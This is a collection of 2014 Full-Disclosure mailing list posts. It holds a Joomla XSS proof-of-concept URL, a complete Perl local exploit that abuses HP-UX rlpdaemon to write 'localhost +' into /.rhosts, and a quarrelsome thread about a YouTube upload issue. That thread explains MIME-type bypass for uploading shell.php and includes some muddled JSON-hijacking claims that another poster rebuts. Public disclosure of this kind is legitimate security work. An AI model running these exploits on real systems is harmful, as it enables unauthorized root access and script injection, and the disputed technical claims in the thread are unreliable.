Re: [Full-disclosure] XSS Vulnerability in the Youtube Gallery 3.4.0 Component
The CVE-2013-5956 has been assigned for this vulnerability.
Best Regards.
On Saturday, March 15, 2014 2:07 PM, Mahmoud Ghorbanzadeh md...@yahoo.com
wrote:
Hello,
Cross-site
scripting (XSS) vulnerability in the Youtube Gallery 3.4.0 component for
Joomla! allows remote attackers to inject arbitrary web
script or HTML via the videofile parameter to /includes/flvthumbnail.php.
POC:
http://SiteAddress/joomla/components/com_youtubegallery/includes/flvthumbnail.php?videofile=scriptalert('XSS')/script___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] exploit for old rlpdaemon bug
#!/opt/perl5/bin/perl -w
# HP-UX rlpdaemon local exploit
# Bulletin HPSBUX0111-176 (November 2001)
#
# For use only on machines where you have legitimate root.
# This attempts to add junk (including localhost +) to /.rhosts.
# Obvious variants could include /etc/passwd.
use IO::Socket;
$PORT = 9000; # pick something not in use
$pid=fork;
die(fork: $!) unless (defined($pid));
if (0 == $pid) {
# child - server, exec rlpdaemon with chosen argv
$IPPROTO_TCP=6;
$SOCK_STREAM=1;
$AF_INET=2;
$PF_INET=2;
$sockaddr='S n a4 x8'; # packed socket data
$this=pack($sockaddr, $AF_INET, $PORT, \0\0\0\0) or die(pack: $!);
socket(S, $PF_INET, $SOCK_STREAM, $IPPROTO_TCP) || die (socket: $!);
bind(S, $this) or die(bind: $!);
listen(S, 5) or die(listen: $!);
$addr=accept(NS, S);
# dup2 on 3 standard streams
open(STDIN, +NS) or die(dup2: $!);
open(STDOUT, +NS) or die(dup2: $!);
open(STDERR, +NS) or die(dup2: $!);
exec {/usr/sbin/rlpdaemon}
\nlocalhost +\n,
-i, -l, -L, /.rhosts;
# UNREACHED
exit(1);
}
sleep 5; # let server start before we connect to it
# parent - connect to server with loggable action
$remote = IO::Socket::INET-new(
Proto= tcp,
PeerAddr = localhost,
PeerPort = $PORT
)
or die cannot connect to port $PORT at localhost;
# RFC1179
printf($remote %clp\n, 2); # rlpdaemon should log this
close($remote);
exit(0);
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google vulnerabilities with PoC
Some of the replies in this thread are very unfair to the original poster. I have read the news story and have thoroughly read the proof of concepts which in my opinion indicate that this is surely a security vulnerability. I have worked for Lumension as a security consultant for more than a decade. I have never thought that Google would have gone that far. Quite scary if you ask me... Do not be discouraged, as a security researcher I have also been getting that. I can certainly certify that this is a security problem, no doubts about that. Big Al _ Get your free email @ http://www.xtcmail.com ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google vulnerabilities with PoC
Gynvael Coldwind, What Alfred has reiterated is that this is a security vulnerability irrelevantly of whether it qualifies for credit. It is an unusual one, but still a security vulnerability. Anyone who says otherwise is blind, has little or no experience in hands on security, or either has a different agenda. The obvious here is that Google dismissed it as a non-security issue which I find rather sad and somewhat ridiculous. Even if we asked Andrew Tanenbaum about ,I suspect his answers wouldn't be much different. Rgds, On Saturday, 15 March 2014, 12:45, Gynvael Coldwind gynv...@coldwind.pl wrote: Hey, I think the discussion digressed a little from the topic. Let's try to steer it back on it. What would make this a security vulnerability is one of the three standard outcomes: - information leak - i.e. leaking sensitive information that you normally do not have access to - remote code execution - in this case it would be: -- XSS - i.e. executing attacker provided JS/etc code in another user's browser, in the context *of a sensitive, non-sandboxed* domain (e.g. youtube.com) -- server-side code execution - i.e. executing attacker provided code on the youtube servers - denial of service - I think we all agree this bug doesn't increase the chance of a DoS; since you upload files that fail to be processed (so the CPU-consuming re-encoding is never run) I would argue that this decreases the chance of DoS if anything Which leaves us with the aforementioned RCE. I think we all agree that if Mr. Lemonias presents a PoC that uses the functionality he discovered to, either: (A) display a standard XSS alert(document.domain) in a sensitive domain (i.e. *.youtube.com or *.google.com, etc) for a different (test) user OR (B) execute code to fetch the standard /etc/passwd file from the youtube server and send it to him, then we will be convinced that this is vulnerability and will be satisfied by the presented proof. I think that further discussion without this proof is not leading anywhere. One more note - in the discussion I noticed some arguments were tried to be justified or backed by saying I am this this and that, and have this many years of experience, e.g. (the first one I could find): have worked for Lumension as a security consultant for more than a decade. Please note, that neither experience, nor job title, proves exploitability of a *potential* bug. Working exploits do. That's it from me. I'm looking forward to seeing the RCE exploits (be it client or server side). Kind regards, Gynvael Coldwind___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google vulnerabilities with PoC
Hello... I am an IT security expert for the Emirates National Oil Company. Google is my favourite search engine by far. Now I just read the report about the unrestricted upload issue and I think that the author is right that it is a securityproblem.This is a vulnerability because file name extension verification's not been used properly. The problem here has also been with the returned MIME type returned from the API$_FILES['uploadedfile']['type']” holds the value of the MIME type. Tampering the HTTP Post request can exploit the functionality.An attacker can bypass this protection by changing the MIME type of the shell.php to “image/gif”. So when an application checks the MIME type, it seems like a gif file. The application will then upload the malicious code shell.php. That is something that definitely needsto be fixed, if it hasn't already.Definetely a security problem.http://resources.infosecinstitute.com/file-upload-vulnerabilities/Are you a Techie? Get Your Free Tech Email Address Now! Visit http://www.TechEmail.com___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] [SPAM] [Bayesian][bayesTestMode] Re: Google vulnerabilities with PoC
I signed onto this mailing list as an interested person in security - not to see everyone moan. We will all have differences in opinion and we should all respect that. This goes for everyone and I feel I speak for a lot of people here, everyone needs to grow up, and shut up. Email scanned and verified safe. On 15 Mar 2014, at 13:43, Mario Vilas mvi...@gmail.com wrote: Sockpuppet much? On Sat, Mar 15, 2014 at 2:35 PM, M Kirschbaum pr...@yahoo.co.uk wrote: Gynvael Coldwind, What Alfred has reiterated is that this is a security vulnerability irrelevantly of whether it qualifies for credit. It is an unusual one, but still a security vulnerability. Anyone who says otherwise is blind, has little or no experience in hands on security, or either has a different agenda. The obvious here is that Google dismissed it as a non-security issue which I find rather sad and somewhat ridiculous. Even if we asked Andrew Tanenbaum about ,I suspect his answers wouldn't be much different. Rgds, On Saturday, 15 March 2014, 12:45, Gynvael Coldwind gynv...@coldwind.pl wrote: Hey, I think the discussion digressed a little from the topic. Let's try to steer it back on it. What would make this a security vulnerability is one of the three standard outcomes: - information leak - i.e. leaking sensitive information that you normally do not have access to - remote code execution - in this case it would be: -- XSS - i.e. executing attacker provided JS/etc code in another user's browser, in the context *of a sensitive, non-sandboxed* domain (e.g. youtube.com) -- server-side code execution - i.e. executing attacker provided code on the youtube servers - denial of service - I think we all agree this bug doesn't increase the chance of a DoS; since you upload files that fail to be processed (so the CPU-consuming re-encoding is never run) I would argue that this decreases the chance of DoS if anything Which leaves us with the aforementioned RCE. I think we all agree that if Mr. Lemonias presents a PoC that uses the functionality he discovered to, either: (A) display a standard XSS alert(document.domain) in a sensitive domain (i.e. *.youtube.com or *.google.com, etc) for a different (test) user OR (B) execute code to fetch the standard /etc/passwd file from the youtube server and send it to him, then we will be convinced that this is vulnerability and will be satisfied by the presented proof. I think that further discussion without this proof is not leading anywhere. One more note - in the discussion I noticed some arguments were tried to be justified or backed by saying I am this this and that, and have this many years of experience, e.g. (the first one I could find): have worked for Lumension as a security consultant for more than a decade. Please note, that neither experience, nor job title, proves exploitability of a *potential* bug. Working exploits do. That's it from me. I'm looking forward to seeing the RCE exploits (be it client or server side). Kind regards, Gynvael Coldwind -- “There's a reason we separate military and the police: one fights the enemy of the state, the other serves and protects the people. When the military becomes both, then the enemies of the state tend to become the people.” ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ smime.p7s Description: S/MIME cryptographic signature ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
Hello,
I am a security professional and risk manager in UAE. I support that the remote
file upload on YouTube is a vulnerability, and I am sure about this. Not the
slightest doubts...
There is a different between a vulnerability and an exploit. The vulnerability
here is the lack of any file extension checks, content type verification
“$_FILES['uploadedfile']['type']” holds the value of the MIME type. A hacker
can easily upload files using a script that allows the sending or tampering of
HTTP POST requests.
e.g:
?php
//Demo1.php
if($_FILES['uploadedfile']['type'] != image/gif) {
echo Sorry, we only allow uploading GIF images;
exit;
}
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['uploadedfile']['name']);
if (move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $uploadfile)) {
echo File is valid, and was successfully uploaded.n;
} else {
echo File uploading failed.n;
}
?
Read this for more info if you like:
http://resources.infosecinstitute.com/file-upload-vulnerabilities/
if not (rwx) and only (w) to a temporary file even, the spread of malware is
real no matter if the file is executed at the time is upload.
For the JSON reply:
A hacker exploits a JSON (javascript) object that has information of interest
for example holding some values for cookies. A lot of times that exploits the
same policy origin. The JSON object returned from a server can be forged over
writing javascript function that create the object. This happens because of the
same origin policy problem in browsers that cannot say if js execution it
different for two different sites.
Sincerely ,
T. Imbrahim
--- lcam...@coredump.cx wrote:
From: Michal Zalewski lcam...@coredump.cx
To: M Kirschbaum pr...@yahoo.co.uk
Cc: full-disclosure@lists.grok.org.uk full-disclosure@lists.grok.org.uk
Subject: Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
Date: Sat, 15 Mar 2014 09:46:27 -0700
As a professional penetration tester, [...]
The JSON service responds to GET requests , and there is a good chance that
the service is also vulnerable to JSON Hijacking attacks.
That's... not how XSSI works.
To have a script inclusion vulnerability, you need to have a vanilla
GET response that contains some user-specific secrets that are
returned to the caller based on HTTP cookies (or, less likely, other
ambient credentials). For example, a script response that discloses
the contents of your mailbox or the list of private contacts would be
of concern.
Further, the response must be in a format that can be not only loaded,
but also inspected by another site opened in your browser; most types
of JSONP fall into this category, but JSON generally does not,
essentially because of how the meaning of { is overloaded in JS
depending on where it appears in a block of code.
Last but not least, the final piece of the puzzle is that the response
must be served at a URL that can be guessed by third parties who don't
have access to your account.
/mz
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
_
Are you a Techie? Get Your Free Tech Email Address Now! Visit
http://www.TechEmail.com
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
Is this treated with the same way that says that Remote File Inclusion is not a security issue ? You don't follow? Implying ? I understand why nobody likes Google. If I 've found a vulnerability and been treated like that for trying to help, I would rather sell it to the black market or to some government. The NSA maybe is happy to buy a RFI on Google, im sure they could make good use of that. Google is very deceptive in security matters. --- lcam...@coredump.cx wrote: From: Michal Zalewski lcam...@coredump.cx To: timbra...@techemail.com Cc: pr...@yahoo.co.uk, full-disclosure full-disclosure@lists.grok.org.uk Subject: Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC Date: Sat, 15 Mar 2014 10:59:40 -0700 A hacker exploits a JSON (javascript) object that has information of interest for example holding some values for cookies. A lot of times that exploits the same policy origin. The JSON object returned from a server can be forged over writing javascript function that create the object. This happens because of the same origin policy problem in browsers that cannot say if js execution it different for two different sites. To be honest, I'm not sure I follow, but I'm fairly confident that my original point stands. If you believe that well-formed JSON objects without padding can be read across origins within the browser, I would love to see more information about that. (In this particular case, it still wouldn't matter because the response doesn't contain secrets, but it would certainly break a good chunk of the Internet.) JSONP is a different animal. /mz _ Are you a Techie? Get Your Free Tech Email Address Now! Visit http://www.TechEmail.com ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
The thread read Google vulnerabilities with PoC. From my understanding it was a RFI vulnerability on YouTube, and I voiced my support that this is a vulnerability. I also explained a JSON Hijacking case as a follow up, and you said you didn't follow. So I am just saying that treating security that way, there are other parties like NSA who welcome them happily. --- lcam...@coredump.cx wrote: From: Michal Zalewski lcam...@coredump.cx To: timbra...@techemail.com Cc: M Kirschbaum pr...@yahoo.co.uk, full-disclosure full-disclosure@lists.grok.org.uk Subject: Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC Date: Sat, 15 Mar 2014 11:47:19 -0700 Is this treated with the same way that says that Remote File Inclusion is not a security issue ? I'm not sure how RFI came into play on this thread - the original report wasn't about RFI. I don't have an agenda here; I'm just trying to get to the bottom of it and make sure that we converge on a common understanding of the issue. As in any argument, it's fairly likely that one of us is wrong, and I accept that it could very well be me - I have been wrong quite a few times in my life, and it's always a valuable learning opportunity. I think it's unfortunate that the thread has devolved into various accusations and credential-slinging, because it reduces the likelihood of such a productive outcome. Please feel free to ping me directly any time, though - I'm happy to chat. Cheers, /mz _ Are you a Techie? Get Your Free Tech Email Address Now! Visit http://www.TechEmail.com ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] [SPAM] [Bayesian][bayesTestMode] Re: Google vulnerabilities with PoC
LOL. boy oh boy you would have HATED the N3td3v years then... I'm sure your delete key works doesn't it? From: Full-Disclosure [mailto:full-disclosure-boun...@lists.grok.org.uk] On Behalf Of Thomas Williams Sent: Saturday, March 15, 2014 10:44 AM To: Mario Vilas Cc: full-disclosure@lists.grok.org.uk; M Kirschbaum Subject: Re: [Full-disclosure] [SPAM] [Bayesian][bayesTestMode] Re: Google vulnerabilities with PoC I signed onto this mailing list as an interested person in security - not to see everyone moan. We will all have differences in opinion and we should all respect that. This goes for everyone and I feel I speak for a lot of people here, everyone needs to grow up, and shut up. Email scanned and verified safe. On 15 Mar 2014, at 13:43, Mario Vilas mvi...@gmail.com wrote: Sockpuppet much? On Sat, Mar 15, 2014 at 2:35 PM, M Kirschbaum pr...@yahoo.co.uk wrote: Gynvael Coldwind, What Alfred has reiterated is that this is a security vulnerability irrelevantly of whether it qualifies for credit. It is an unusual one, but still a security vulnerability. Anyone who says otherwise is blind, has little or no experience in hands on security, or either has a different agenda. The obvious here is that Google dismissed it as a non-security issue which I find rather sad and somewhat ridiculous. Even if we asked Andrew Tanenbaum about ,I suspect his answers wouldn't be much different. Rgds, On Saturday, 15 March 2014, 12:45, Gynvael Coldwind gynv...@coldwind.pl wrote: Hey, I think the discussion digressed a little from the topic. Let's try to steer it back on it. What would make this a security vulnerability is one of the three standard outcomes: - information leak - i.e. leaking sensitive information that you normally do not have access to - remote code execution - in this case it would be: -- XSS - i.e. executing attacker provided JS/etc code in another user's browser, in the context *of a sensitive, non-sandboxed* domain (e.g. youtube.com http://youtube.com/ ) -- server-side code execution - i.e. executing attacker provided code on the youtube servers - denial of service - I think we all agree this bug doesn't increase the chance of a DoS; since you upload files that fail to be processed (so the CPU-consuming re-encoding is never run) I would argue that this decreases the chance of DoS if anything Which leaves us with the aforementioned RCE. I think we all agree that if Mr. Lemonias presents a PoC that uses the functionality he discovered to, either: (A) display a standard XSS alert(document.domain) in a sensitive domain (i.e. *.youtube.com http://youtube.com/ or *.google.com http://google.com/ , etc) for a different (test) user OR (B) execute code to fetch the standard /etc/passwd file from the youtube server and send it to him, then we will be convinced that this is vulnerability and will be satisfied by the presented proof. I think that further discussion without this proof is not leading anywhere. One more note - in the discussion I noticed some arguments were tried to be justified or backed by saying I am this this and that, and have this many years of experience, e.g. (the first one I could find): have worked for Lumension as a security consultant for more than a decade. Please note, that neither experience, nor job title, proves exploitability of a *potential* bug. Working exploits do. That's it from me. I'm looking forward to seeing the RCE exploits (be it client or server side). Kind regards, Gynvael Coldwind -- There's a reason we separate military and the police: one fights the enemy of the state, the other serves and protects the people. When the military becomes both, then the enemies of the state tend to become the people. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
